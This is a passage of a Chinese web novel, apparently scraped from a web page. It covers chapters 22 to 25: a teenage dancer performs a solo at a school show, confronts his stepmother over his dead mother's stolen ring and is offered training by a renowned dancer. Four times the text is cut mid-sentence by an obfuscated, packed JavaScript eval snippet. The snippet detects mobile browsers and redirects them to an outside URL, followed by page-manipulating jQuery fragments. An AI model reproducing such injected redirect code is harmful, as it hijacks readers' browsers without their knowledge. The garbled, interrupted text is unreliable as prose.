在外孙的陪伴下,沈寻芳吃了橘子,戴上老花镜,听着电视里的评书,本该享受独属于老年人的幸福时光,然而今天的她心事重重,评书的内容一点都没听进去。 乔颂察觉到她的异样,问道:“怎么了,今天的评书不好听呀?” 沈寻芳摇摇头,她拿起遥控器将电视声音调小了一点,犹豫着说道:“前两天我遇见你那个少年宫的舞蹈老师了,想着问一问你最近怎么样,但他跟我说你已经两年没去上舞蹈课了。” 说到这儿,沈寻芳叹口气,关切的看着他,“为什么不去上课了?你不是说喜欢跳舞、要一直跳吗?” 自打开始去少年宫学舞蹈,乔颂便是由这个老师来带,当时他年纪小,每天还需要大人接送,老两口便轮流骑自行车去接外孙,一来二去的也和这个老师熟络起来。 只是这些年老两口年纪越来越大,只在家附近溜达,不敢走太远,也就没再见过那个老师。 但没想到,那个老师前两天来这边走亲戚,正好遇见下楼晒太阳的沈寻芳,两人不可避免的提到了乔颂,沈寻芳这才知道舞蹈课的事。 乔颂没想到姥姥居然会问起这个问题,不想让她担心,只好把个中滋味压在心底,微微笑道:“上初三时学业重嘛,就没去,后来上了高中发现学的东西越来越难,怕再练舞蹈耽误学习,就不练了。” “是吗……”沈寻芳垂眸,“都是因为学习吗,是不是家里……” 乔颂:“没有,我在家里挺好的,你别担心。前两年乔雅小,还需要我帮着带一带,现在她也上了小学,我就重获自由啦。” 然而沈寻芳最疼这个外孙,怎么会看不出他的勉强,知道他不想深聊这个话题,也就没再继续。 茶几下有一本老相册,里面是沈娴和父母的合照,沈寻芳拿出相册,翻开,向上推了推老花镜,看着女儿的黑白照片,仿佛又回到了那段曾经的时光。 “当年,你妈你爸还是经人介绍认识的,本来她不太喜欢你爸,但我和你姥爷觉得他工作稳定,人品也不错,就劝你妈先处着试试。” “可试来试去你妈还是不喜欢,我和你姥爷当时糊涂啊,就觉得女孩早晚都得嫁人的,下一个还未必有你爸好,挑男人还得看人品,只要人品好其他都不是问题。再说了,过日子不就那回事吗,喜不喜欢的,等结了婚有了孩子自然而然就喜欢了。” “你妈孝顺,又听话,虽然不喜欢,但最后还是听我和你姥爷的,和你爸结了婚,谁想到……” 黑白照片上的沈娴刚刚二十岁,梳着两根辫子,对着镜头笑靥如花。 沈寻芳摘下老花镜,颤抖着手去抹掉眼角的泪,“现在想想,当初又何必呢,就算不结婚不嫁人又能怎么样,就留在我和你姥爷身边,一家人不也好好的吗。” “我不配当妈,对不起你妈妈,如果不是我,她可能就不会死了。” 沈寻芳老泪纵横,“姥姥知道你喜欢跳舞,喜欢咱就接着跳,姥姥给你拿钱,你要坚持自己的想法,可千万千万别像你妈那样啊……” …… 把沈寻芳送回房间休息后,乔颂来到了沈娴的房间。 这个房间一直为她留着,哪怕是床单被罩老两口都会定时更换,就像女儿只是出嫁,还会再回娘家一样。 沈娴也是自小学习舞蹈,中学参加比赛时被抓拍下一张照片,仿佛振翅欲飞的白天鹅。获奖后,沈青松乐呵呵的拿着胶卷,找了附近最好的一家照相馆,洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026420|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,放大,用相框装好挂在了墙上。 乔颂没有见过妈妈,只能通过这种方式和另一个时空里的她团聚。 靠近窗台的位置,是沈娴曾经的书桌,上面有沈青松亲手打的木质书架,摆满了她的课本。 乔颂拉开椅子坐下,从中抽出一本语文书,翻开看了看。 学生时代的沈娴并不像父母想象那般、是个上课认真听讲的好学生,她没学过画画,但在这方面也有点天赋,用圆珠笔把语文书上的插图人物改的乱七八糟,古人飞骑自行车,学生脚踩风火轮,各种各样的搞怪方式,让人眼花缭乱。 乔颂笑着翻过一页又一页,等看完了这本,又拿来了数学书。 他没见过妈妈的数学老师,但看扉页上那个打着红叉又老又丑的秃头,乔颂觉得,这可能就是她的数学老师,尤其旁边还有一行小字——烦死了,为什么不是五班的班主任教啊! 想必在沈娴心中,五班老师比较符合她的审美。 ——妈妈是个有趣的人。 然而得到这个结论的乔颂并没有多少安慰,他很难想象这么好看有趣的妈妈,是如何在短暂的婚姻中一步步走向了死亡。 乔颂将课本放回原位,重新走到照片前。 那里有一个靠墙的书柜,被沈青松改成了透明的玻璃门。 从学习舞蹈开始,乔颂把能获得的奖项拿了个遍,各种奖杯奖状数不胜数,可是马凤梅不允许他在家里摆这些东西,他只好将这些送来姥姥家,和妈妈的证书摆在一起。 乔颂打开玻璃门,从里面取出一张奖状。 乔颂同学: 在第六届江城舞蹈大赛中,荣获青少年组特等奖。 特此颁证,以资鼓励。 江城市教育局 1997年6月1日 这是乔颂获得的最后一个证书,暑假过后,乔雅开学,马凤梅便停止了他的舞蹈班课程,乔颂也再没机会去参加比赛。 看着这张证书,乔颂脑内立刻回想起了那场表演,他清楚记得自己的每一个动作,记得舞台上的每一个细节,记得舞蹈结束后全场的掌声。 “你三岁学舞蹈,五岁拿到了人生中第一个奖状,九岁代表学校参加市里举办的比赛获得少儿组第一名!迄今为止你所获得的奖状奖杯足足装满了一个柜子!你热爱舞蹈,每个教过你的老师都夸你有天赋,你会在大学中继续坚持喜欢的舞蹈,你会在舞台上艳惊四座,被导演看中,你未来星途璀璨,你前途无量!” 夏迟的话言犹在耳,他觉得自己可能是疯了,居然会期盼这些话会变成真的。 时间一分一秒的走过,乔颂呆呆的站在那里许久,蓦地,脑中生出了一个疯狂的念头。 他抱着那张证书,抬头望向妈妈的照片,神色闵然,“妈妈,我不知道该怎么选择,所以我决定给自己最后一个机会,你……一定会支持我的,对吗……” 23. 第二十三章 由于实验一中的小礼堂不足以容纳两个年级的学生,校领导提前和文化宫打了招呼,打算借用他们的舞台。 4月28日当天,高一高二的学生统一在校门口集合,由学校大客分批送到市文化宫。 高一一班上车后,陆尘拿着名单站在车头处逐一点名。 “孟欢欢。”等了片刻没得到回应的陆尘四下看了看,问向坐在右手边的夏晚和徐婷婷,“她又没来吗?” 夏晚摇头,表示自己什么都不知道。 倒是徐婷婷无语的翻了个白眼,“我早上来的时候看见她了,又和十八班那群人混在一起,估计往游戏厅那边去了吧。” 在徐婷婷看来,那些人打架逃课无恶不作,成绩差人品也差,天天就仿佛住在了游戏厅一样,每天早上当着父母的面拎着书包走出家门,却连学校都懒得进,谁要有事就去游戏厅那边找人,一找一个准。 陆尘没说什么,毕竟这种情况大家已经习以为常,高一刚开学时,韩途生还单独找过孟欢欢谈话,陆尘虽然不知道他们怎么聊的,但根据之后的情况来看,那场谈话显然没起到什么作用。 孟欢欢该逃课逃课,始终不参加班级活动,一学期下来就没在班里见到几次,现在他点名询问情况,也只是走个流程而已。 待到点名结束后,陆尘把名单还给韩途生,并提了一句孟欢欢的事。 然而韩途生只是叹了口气,便让他回到座位上坐好。 后排,杜司宇吃着干脆面,撇嘴抱怨,“唉,想为班级做贡献真难,你们说说,我唱歌真那么难听吗?” 乔颂尴尬的笑笑。 如果杜司宇只是唱歌跑调还好办,问题是他还带着别人一起跑,为了班级的荣誉,乔颂只能让他在上台后跟着歌词对口型,这样不仅有利于老师同学们的身心健康,如果幸运的话,甚至有希望冲击一下奖项。 闻言,坐在最后一排靠窗边的钟景明放下手中的游戏机,认真道:“杜司宇,一会儿唱歌的时候咱俩只能活一个,要么你现在把我扔下车一会儿自己唱个爽,要么你一会儿张嘴我在台上打爆你狗头,二选一,你看着办。” “得得得,就你事多,你看小乔还没说什么呢。”杜司宇一脸嫌弃,“诶你知不知道什么叫天使,就是画上那个脑袋顶上套着个圈身后长俩翅膀的小孩,据说是善良与纯洁的象征,现在小乔在我心里就是这个形象,瞅你这样吧,我都懒得说你,你要和他比能差出二里地去。” 钟景明:“他和你说啥了?” 杜司宇:“我之前不是找他教我唱歌吗,他说我还是有点天赋的,虽然不咋明显,但还是有的。” 钟景明被他的勇气所震撼,一时无言,坐在前排的陆尘也听不下去了,扭头从椅背露出半张脸,“乔颂,这傻子脑袋一根筋,听不懂太复杂的人话,你下次有话直说。” 乔颂:“……” 他倒也想有话直说,但杜司宇这人傻的太纯粹了,尤其是满怀期待看着你的时候,眼睛亮亮的像一只傻乎乎的大狗狗,实在不忍心打消他的积极性。况且唱歌跑调也不是什么十恶不赦的事,乔颂思考再三,才决定说一个善意的谎言安慰一下他。 但没想到,杜司宇真的信了,“诶我去,你们还别不信,人乔颂学艺术的,我到底唱的咋样他不比你们懂?他说我有天赋那我肯定有,不就是唱歌吗,等我回家练练,下次要再有文艺汇演,信不信我……” “大宇……”夏迟半跪在椅子上,悄悄从椅背上探头,委婉道:“我就提醒一句哈,就一句,红姨身体不好,你看你……嘿嘿……” 杜司宇崩溃,“夏迟,你咋也这样呢?!” 夏迟:“嘿嘿……” 学校距离文化宫只有十多分钟的车程,下车后,陆尘在前面带着班级同学进入大厅,找到指定的座位坐下。 这次文艺汇演,除了极个别班级别出心裁要演小品,其余的全是大合唱或诗朗诵,为了整齐,各班班主任不约而同的要求每个人身着秋季运动校服。 看着前方的舞台,乔颂心头一股莫名的情绪油然而生,下意识的抬手抓住了自己的领口。 大厅里没开风扇,乍一进来这么多人非常闷热,不少学生已经脱了校服外套,杜司宇也不例外,他只穿了一件半袖,把校服胡乱搭在椅背上,转头却看见乔颂裹的严严实实,忍不住提醒道:“你不热啊?老韩也没说要一直穿啊,先脱了呗,等要上台了再穿上。你看我,脱了之后老凉快了。” “不用。”乔颂恋恋不舍的收回目光,依旧紧攥着领口,“我这样就挺好的。” “行吧,你乐意就好。”杜司宇尊重个人意见,见他坚持也就没再多说什么,转头又去找别人唠嗑了。 一辆辆大客车逐渐抵达,大厅里的学生越来越多,虽然有老师和班干部看着,但根本管不住他们交头接耳,说话的声音在这个空间里被放大数倍,四面八方都是人声,嘈杂的无法让人静心。 在这之中,乔颂仿佛一个不会说话不会动的木头人,周围的喧嚣都与他无关。 眼前就是他期待已久的舞台,他太久太久没有站在那里,拼命控制自己不去回想聚光灯下的感觉,可当他进来这里看到舞台的那一刻,他就知道自己所做的努力全都白费了。 他留恋舞台,向往舞台,那里才是他的归宿。 随着高一高二的学生全部到齐,文艺汇演正式开始。 一男一女两位主持人在大幕前登场,他们穿着学校准备的老旧的礼服,红蓝搭配,看着提词卡,认认真真的宣读开场白。 各班文艺委员手里都有演出流程表,节目靠前的已经提早去舞台后准备,高一一班被安排在了最后一个,时间充裕,甚至有人偷偷拿出了小零食,一边吃一边观看其他班级的表演。 灯光照耀下,舞台上各个班级逐一轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13051104|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换,时间一分一秒的过去,眼看要到表演尾声,乔颂带着大家去准备,等到前一个班级表演结束主持人上台串词时,他按照排好的队形,安排大家依次站好。 钟景明小声道:“杜司宇,安静的闭上你的嘴巴。” 杜司宇撇嘴不耐烦,“知道了知道了,叨叨叨的烦不烦,我妈都没你这么碎嘴子。” 他克制住了自己对艺术的追求,在他的极力配合下,一班的表演顺利完成。大合唱的表演没什么新意,说不上完美,但足够应付校领导,大家从小就很好奇,校领导究竟怎么在各种大合唱中挑选出最好的那一个。 后来渐渐发现,合唱只是表象,奖项一般都是按照班级整体的学习成绩分配的。 真的是非常合理。 一班的合唱是流程表上最后一个节目,等他们下去后,各班学生蠢蠢欲动,都想早点起来活动身体,乘上大客车返回学校,并享受接下来小半天的假期。 然而待到主持人上台,他们并没听见表演结束的结束语。 啪——舞台上灯光全灭,再次亮起时,红色的幕布下已经站着一个白衣少年。 一班学生还没来得及返回座位,他们站在台下的过道中,眼睛直勾勾的盯着台上的人。 “我靠,那不是小乔吗?!” “什么情况?” “咋还多出一个节目呢。” 台下的熙熙攘攘已经与乔颂无关,他站在舞台正中,音乐响起的那一刻便完全沉浸。 乔颂随着音乐肆意舒展,他手持折扇刚柔并济,挺拔优美的身姿落在每个人眼中,他们仿佛看到了一只长硬了翅膀的雏鸟直冲云霄,带着不容置喙的决绝与魄力。 一曲毕,台下一片肃静,乔颂站在那里胸膛微微起伏,没等他向观众致意,突然间,不知从哪个角落里率先传来了掌声,紧接着掌声便如洪水一般淹没了整个大厅。同学们早已忘记了老师的叮嘱,纷纷起身,鼓掌、尖叫、肆意怒吼着为他叫好。 而站在过道还没来得及回到座位的一班同学已经彻底疯狂,他们嗷嗷叫着冲到舞台下不停欢呼乔颂的名字,更有甚者直接放飞自我,听见下面有人问乔颂是谁,便像一只脱了缰的野驴,沿着过道跑遍每一个班级区域,边跑边喊,“看见了吗?那是我们高一一班的文委,他叫乔颂,牛不牛逼!!!” 整个大厅沸腾了,欢呼声仍在继续,久久未歇。 乔颂站在聚光灯下,黑暗中唯有他被镀上了光芒,听着所有同学呐喊着自己的名字,听着震耳的声浪一波一波传来,他再也控制不住自己的情绪,不争气的跪坐在舞台上,捂着脸,痛哭流涕。 ——妈妈,你看到了吗,原来有那么多人喜欢我的舞蹈。 这一刻,犹豫许久的内心终于有了答案。 他要选择自己喜欢的舞蹈,并在这条路上一直一直走下去,这一次,再没有任何人能够阻止他的梦想。 24. 第二十四章 回程的车上,一班还沉浸在刚才的兴奋劲儿中,嗷嗷叫着乔颂的名字,要不是韩途生制止,他们能一直呜呜嗷嗷直到回校。 乔颂还没来及换下演出服就被哄到了最后一排的中间位置,供全班同学“观瞻”,一身白衣的少年红着眼圈听着大家的夸赞,嘴角却带着笑。今天是他这几年来最快乐的一天,也是他为梦想出发的新起点。他曾经和自己承诺,如果今天的演出成功,那他就会在舞蹈这条路上一直坚持下去。 现在的乔颂在杜司宇眼中简直是个神人,杜司宇拿着他表演用的折扇,小心翼翼的打开,生怕弄坏了,“这扇子是特制的吗?多少钱啊。” 乔颂哑着嗓子,“不是,两元店买的。” 杜司宇:“……” 原来最高端的技术搭配,只需要一家两元店。 厉害…… 杜司宇将扇子合上还给他,“诶你真的太牛了,我以前只在电视上看过这么厉害的,没想到啊,你也行。你这都咋学的啊,就劈叉那个,我现在练练能劈成你那样不?” 乔颂委婉道:“……得从小开始练。” 钟景明:“杜司宇,其实你可以试试,从今天开始先从劈着叉吃饭做起,劈着劈着,总能练出来的。” 杜司宇:“诶?真的假的?” 乔颂:“假的!钟景明你别忽悠他,他没系统训练过,自己瞎劈叉很可能造成韧带拉伤,严重的还会对膝关节造成伤害。” 杜司宇:“这么严重啊,那算了,我不劈了。” 他不再纠结劈叉的问题,但话题始终围绕着舞蹈,“你今天跳的真挺好看的,这是啥舞啊?” 乔颂:“古典舞。” 舞蹈有很多分支,刚开始学的时候乔颂每种都试过,老师通过观察觉得他最适合跳古典舞,而他确实也最喜欢古典舞,就这么一直坚持了下来。 杜司宇想了想,“我还看到过一种,就是咔咔一顿跳,胳膊嘁哩喀喳一顿甩,跳起来哐哐的,烂糟的但有点帅,贼带劲儿,那个叫什么舞啊?” 乔颂:“……” 前面的陆尘摘掉耳机,笑的肩膀都在抖。 “笑啥啊,有啥好笑的。”杜司宇不满,“我这叫虚心求教,你不能耽误我对艺术的追求,是吧小乔。” 乔颂已经从刚才的感动中抽离出来,面对杜司宇的问题,他想的有点头疼,“你这个描述……” 杜司宇像条大狗狗似的瞪大眼睛,眼中盛满了光,“是不是特别精准?” 大脑急速运转,乔颂觉得自己脑门都要烤熟了,他实在没法从杜司宇的话中提取到关键信息,只能退而求其次,“穿着呢?他们跳的时候,身上穿的啥?” 杜司宇比比划划,“就那种老肥了的裤子,侧面带俩口袋,腰上滴里当啷还挂着金属链的。” 乔颂:“街舞?” 杜司宇:“你还别说,这名字挺准的啊,我看那些人确实是在街上跳的,就南边广场那一片。” 夏迟默默从椅背上探头,“大宇,你看乔颂辛苦半天了,要不……你改天再问,让他先休息休息?” 钟景明:“夏迟,我发现你现在挺含蓄啊,没点高端的智商都听不懂你说啥。” 然而杜司宇丝毫没觉得自己被内涵到,“知道了,我再问最后一个,乔儿,那你看我劈叉不行,学街舞咋样?我要是学了,也能跳那么帅不?” 乔颂试着捏了捏他的关节,发现关节硬的要死,根本不是学舞蹈的料,只能继续委婉,“你真想学的话我建议你找个专业老师,试几节课后听听老师的意见。” 但是找老师需要花钱,一听花钱杜司宇便开始打退堂鼓,“那算了,我爸妈挣钱怪不容易的,我还是省点吧。” 夏迟竖起大拇指给他点了个赞。 车子晃晃悠悠回到学校,下午没有课程安排,大家原地解散各回各家。 天气晴朗万里无云,乔颂的心情一如今天的天气,就连脚步都轻快许多,毕竟新的生活就在向他招手,他不能再辜负自己。 只可惜所有的好心情都在进入家门那一刻戛然而止。 乔雅不知道为什么没去上课,乔颂进门时正好看她从自己的房间里出来,手里还拿着一条金项链。 “谁让你动的?!” 忍气吞声换来的只有变本加厉,现在的乔颂全都看开了,什么家庭什么亲情,他都不想要,他只想守护好属于自己属于妈妈的东西。 以往他在家里都是笑呵呵的,无论发生什么,说话声音都很温柔,而现在,乔雅眼中的哥哥冷着一张脸,眼神冰冷的仿佛要刺穿她的身体,她吓的一时没说出来话,然后就见乔颂走到面前,一把抽走了她手里的金链子。 被摩擦过的手心火辣辣的疼,再加上吓人的乔颂,乔雅扁着嘴,哇的一下哭出了声。 “又怎么了?”听见女儿的哭声,马凤梅穿上拖鞋,急急忙忙从卧室来到客厅,一见乔颂立刻黑了脸。 “哭什么哭,没用的玩意儿!”她埋怨似的在乔雅后背拍了两下,“我养你有仇吗?白眼狼。” 这些话乔颂听过太多太多,他没工夫理会马凤梅的指桑骂槐,回到自己房间,果然看到抽屉全被翻了一遍,其中就包括沈娴的首饰盒。 原本里面存着沈娴的嫁妆,一条金项链,一个金戒指,一对金耳环。 这个抽屉平时会上锁,但是乔雅不知道用什么办法打开了,更重要的是,里面的金戒指不翼而飞。 乔颂不打算再忍了,他拿着首饰盒回到客厅,顶着马凤梅的骂声,问道:“我妈的戒指呢。” 不问还好,这一问马凤梅更加火大,“你什么意思?” “我什么意思?”乔颂冷笑,“有小偷进我房间偷东西,我在追缴赃物。” “乔颂!”马凤梅将还在哭的乔雅推到一边,上前一步,不可置信的看着乔颂,“你说谁是小偷?” 乔颂:“谁偷东西,谁就是小偷。” 从没见他这个态度的马凤梅都要气炸了,“好啊,我就说白眼狼养不熟,这么多年我伺候你吃的喝的,到头来你骂我们娘俩是贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13069085|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!” 乔颂不去理会她的发疯,“把我妈的戒指还给我。” 马凤梅:“没有!没拿!” 乔颂颠颠手里的首饰盒,“那好,我去报警,让警察过来查查不就知道凶手是谁了吗?” 马凤梅:“你敢?!” 乔颂:“为什么不敢,你不是没拿吗,没拿为什么害怕报警。” 谁知就在这时,大门开锁的声音传来。 乔万年一门心思扑在工作上,加班实属常事,有时更是一连好几天睡在单位,家都不回。今天赶巧局里没什么事,他便提前半天回来了。 结果在走廊就听见家里传出的争吵声。 “吵什么吵?” 马凤梅一时慌了神,但很快就镇定下来,她冲过去拉着乔万年的手臂,一把鼻涕一把泪的控诉,“你这儿子我管不了了啊,他自己弄丢了东西,反倒骂我们娘俩是贼!这些年我辛辛苦苦伺候你们爷俩,谁想到落这么个下场,我不活了啊……” 乔万年被她吵的脑袋疼,眉头拧成了一个疙瘩,他看向乔颂手里的首饰盒,问道:“到底怎么回事?” 看着乔万年挺拔的身姿,此时的乔颂心底一片冰冷,父亲本该是他在这世上血缘关系最近的人,也该是他的依靠,有时他走在街上,看着小小的孩子坐在父亲肩膀上,笑容灿烂,总会没由来的有种嫉妒感。 因为这些他从来没有体验过,他的童年印象只有姥姥姥爷和舞蹈班的老师,乔万年身为父亲,一直是缺席的,他只顾着自己的工作,似乎忘了还有一个儿子。 蓦地,乔颂又想起了自己的妈妈,他好想问问乔万年是否还记得沈娴,是否还记得他手里拿着的就是沈娴当年的嫁妆,然而现在听着马凤梅的哭声,乔颂突然觉得,自己什么都不必说什么都不必做。 所谓的父子亲情,他已经不需要了。 “乔警官。”乔颂深吸一口气,“这里面原本有一条金项链,一枚金戒指,一对金耳环,一直被我锁在抽屉里,但是今天回来的时候,金戒指不翼而飞,乔雅手里拿着金项链,而我抽屉的锁被人撬开,我现在要报案,希望警方能帮我追缴赃物。” 马凤梅没想到乔颂居然说的这么直白,没等她反驳,又听乔颂说道:“我很小心,没有破坏现场,抽屉和首饰盒的表面光滑,应该可以提取到小偷的指纹。” “乔颂!”马凤梅疯了似的大吼,“你有完没完!都说了,我……” 乔颂打断她的话,“我也不想冤枉好人,所以在向乔警官报案,希望能够尽快进行指纹提取,该抓的抓。如果乔警官觉得在这里报案不正式,我可以去派出所。” 听着“乔警官”这个陌生的称呼,乔万年心头一股无名火起,“你听听你自己在说什么?我是你爸!” “是吗……”对乔颂而言,爸爸这个词汇一直都很陌生,现在骤然听到只觉心口酸涩,他眼圈微红的盯着乔万年,“我以为,我早就已经父母双亡了,乔警官,你的老婆是她,你的女儿是乔雅,乔颂只是沈娴的孩子,不是你的。” 25. 第二十五章 “乔颂!!!” 乔万年气急,一把甩开扯着自己的马凤梅,大步走到乔颂面前,抬手就要打,然而乔颂躲也不躲,抱着首饰盒静静站在那里,看着怒目而视的乔万年,自顾自的继续说道:“妈妈怀我的时候,孕吐反应严重,身体也不好,但她还是每天坚持吃着苹果,胃酸烧的再难受也没有放弃,因为她怕肚子里的我缺少营养,她只能这么做。” 北方的冬天只有入秋时家里存储的白菜土豆,绿叶菜非常稀少,水果只有简单几种,最常见的就是苹果和橘子。 沈娴不想给父母增添麻烦,只能一个人挺着肚子待在冷冰冰的家里,为了肚子里的孩子,忍着恶心,不停的吃着自认有营养的东西。 “后来姥姥发现了,把她接回了家。姥姥说,那时候的妈妈抱着肚子,会很温柔的和我说话,难得有点精神时就去翻字典为我取名字。” 沈娴甚至在孕后期还会陪着孩子一起玩,她伸出两根食指贴在肚皮上,会轻轻哄着说“妈妈教宝贝跳舞,像妈妈这样手臂摆摆,脚尖跳跳”,而下一刻,乔颂便会在肚皮上印出一个小小的脚印。 “妈妈说,等我生下来,一定是全世界最可爱的孩子。” “但是她却没能亲眼见到自己的孩子,我也没有见到自己的妈妈。” “从妈妈怀上我的那一刻到现在,我只体会过母爱,而这点母爱,还是姥姥告诉我的。” “这十几年,我一直以为我是杀死妈妈的凶手,如果没有我,妈妈就不会死。但是,我错了,乔警官,我是凶手,你也是,我们手上沾着妈妈的血,永远都洗刷不掉。” 眼泪大颗大颗的掉落,乔颂咬着牙,胡乱用袖子抹了一把眼睛,“你不是一个好丈夫,也不是一个好爸爸,但我相信你是一个好警察,乔警官,我给你一周的时间,一周后如果还见不到妈妈的戒指,我就去派出所报案。” 说完,他便抱着首饰盒返回了房间。 乔万年气的浑身发抖,回身看向马凤梅,“沈娴的戒指呢?!” 马凤梅气也没消,眼见乔万年是这个态度,这些年积压在心里的委屈一股脑全涌了上来。 “对,戒指是我让乔雅拿的,我就拿了你想怎么地吧?!” “你天天不着家,我一个人拉扯两个孩子,我难道不想让家里和和气气每天笑呵呵的吗?但是钱呢?钱从哪儿来?!” “前几年你开不出工资,一分钱都拿不回来,你倒好,天天吃住在警局,一门心思扑在工作上,仿佛警局没了你就不转了,你有关心过我和两个孩子吗?乔颂上学的钱甚至是我从娘家要来的!我带着乔雅天天在家吃咸菜,乔雅饿的嗷嗷哭,我就差放血给她喝了!这些你都不管,你甚至都不知道那段时间家里过的什么日子!” “乔雅上学那年,我停了乔颂的舞蹈课,我知道他在心里埋怨我,但是上课不要钱吗?你那点工资也就够家里吃饭,哪有多余的钱给他学跳舞!” “乔万年,我他妈到底造了什么孽才会嫁给你,乔颂他妈没了,我看下一个就是我!” 马凤梅一屁股坐在椅子上,捂着眼睛大哭,乔雅看见妈妈哭了也跑过来抱着她一起哭。 乔万年焦头烂额,被哭声吵的眉头都快拧成了一个死结。 这时,乔颂打开卧室门,他换上了平时穿的衣服,身上还背着一个硕大的背包,里面是有关妈妈的一切,和几件换洗衣服。 “你要去哪儿?” “去姥姥家。”脸上的眼泪早已擦干,乔颂提了提自己的背包,来到乔万年面前,“乔警官,你的家务事你自己解决,但戒指我一定要要回来,妈妈留给我的东西不多,对我来说,一个都不能少。” 然后,他扭头看向哭成一团的母女俩。 “我以前是恨你们的,我曾经以为只要没有你们,家就还是原来的家,但是现在,又觉得没有这个必要。我的妈妈很温柔,她应该不希望我变成那个样子。” 况且这一切的根源不在于她们,而是乔万年。 但凡他尽一点对家庭的义务,都不至于闹到现在的地步。 “乔警官,你是一个好警察,你曾经为了蹲守罪犯三天三夜没合眼,也曾经为了救受害者被歹徒砍了一刀,你获得过省里的表彰,你对得起你的职业,对得起身上的警徽,可唯独对不起这个家。” 看着头也不回离开家门的乔颂,听着母女俩痛苦的哭声,乔万年微微阖目,头痛欲裂。 …… 文艺汇演过后便是即将到来的五一假期,整整三天的假期,大家都在讨论写完作业后要一起约着去哪儿玩,等到四月三十日、节前的最后一天,所有人的心都野了,虽然课堂上还在乖乖听课,但脑子早就提前进入了假期。 离家之后的这两天,乔颂的心情异常美好,再加上那场表演的巨大成功,不仅每天神清气爽,甚至整个人都比以前自信了很多。 然而他要面临的好事还不止这一件。 午休时间,韩途生来到班级将他叫走。 走廊里,乔颂看出这不是去办公室的方向,问道:“老师,什么事啊?” 韩途生:“我也不知道,这次是教导主任来和我说的,说是校长那边有点什么事,你去了就知道了。” 当初乔颂下定决心要进行一场独舞表演时,先去找了韩途生,韩途生对待学生一向秉持着鼓励态度,可这件事他实在没办法做主,就去找了校长,希望在表演最后再加一个节目。 一中校长为人和气,坚持学生就该德智体美劳全面发展,学生想要展示的舞台,他作为校长就该给学生提供,这是他的责任与义务。 所以乔颂一直对校长观感很好。 他带着疑惑跟韩途生一起来到校长办公室,进去后先问了好,却发现除了校长以外,还有一个陌生人,她大概六十多岁的年纪,雪白的头发用一根发簪梳起,脸上虽然有了岁月的痕迹但依然遮盖不住美丽的骨相,从内到外透露着优雅的气质。 乔颂觉得她有点眼熟,可一时想不起来到底是谁。 “你就是乔颂同学吧。”校长笑呵呵的招呼他,“这位是我国著名舞蹈家,侯丽萍老师。” 她这十几年一直在京市,现在过了退休的年纪想着最后发挥一点余热,便和老伴一起回到了江城,在市歌舞团担任指导,同时也开着小班授 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13082106|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课,希望能培养出更多的好苗子。 侯丽萍年轻时和校长的父辈有交情,校长在得知乔颂从小学习舞蹈又想借着文艺汇演表现自己时,便请了侯丽萍前来,希望能再帮助乔颂获得一些机会。 最终,乔颂没有让自己失望也没有让校长失望,侯丽萍今天来到一中,就是考虑收徒的问题。 当她向乔颂表明自己的意图后,乔颂不可置信的睁大了眼睛。 有多少人想要拜在侯丽萍门下,而这个千载难逢的机会,居然就在他的面前。 “侯老师,我、我……” 侯丽萍微微一笑,面带慈祥,“别紧张,之前在台上表演的很好啊,怎么见到我还紧张了呢。” 再之后,侯丽萍问了他一些问题,比如从什么时候开始学习舞蹈、学的哪一分支、获得过什么奖项,乔颂一一作答,同时他也慢慢缓解了自己的紧张感,然后脑中猛然闪过一张照片,犹豫着问道:“侯老师,请问你记得沈娴吗?” “沈娴……”侯丽萍轻轻念着自己的名字,笑着点了点头,“记得,我那时还在江城,她是我的学生,天分很好,可惜后来放弃了。” 她看着乔颂的样貌,似乎也意识到了什么,“她是你的什么人?” 乔颂:“是我妈妈。” 侯丽萍:“那她现在……” 乔颂垂下眼帘,摇了摇头。 侯丽萍叹息,“真是可惜了,你妈妈是那批学生当中天赋最好的,我一直觉得她应该站上更高的舞台。” 而现在仿佛是一个轮回,沈娴不在了,她的儿子却站在了侯丽萍面前。 离开办公室的乔颂小跑着回到教室。 他想要第一时间把这个好消息分享给夏迟。 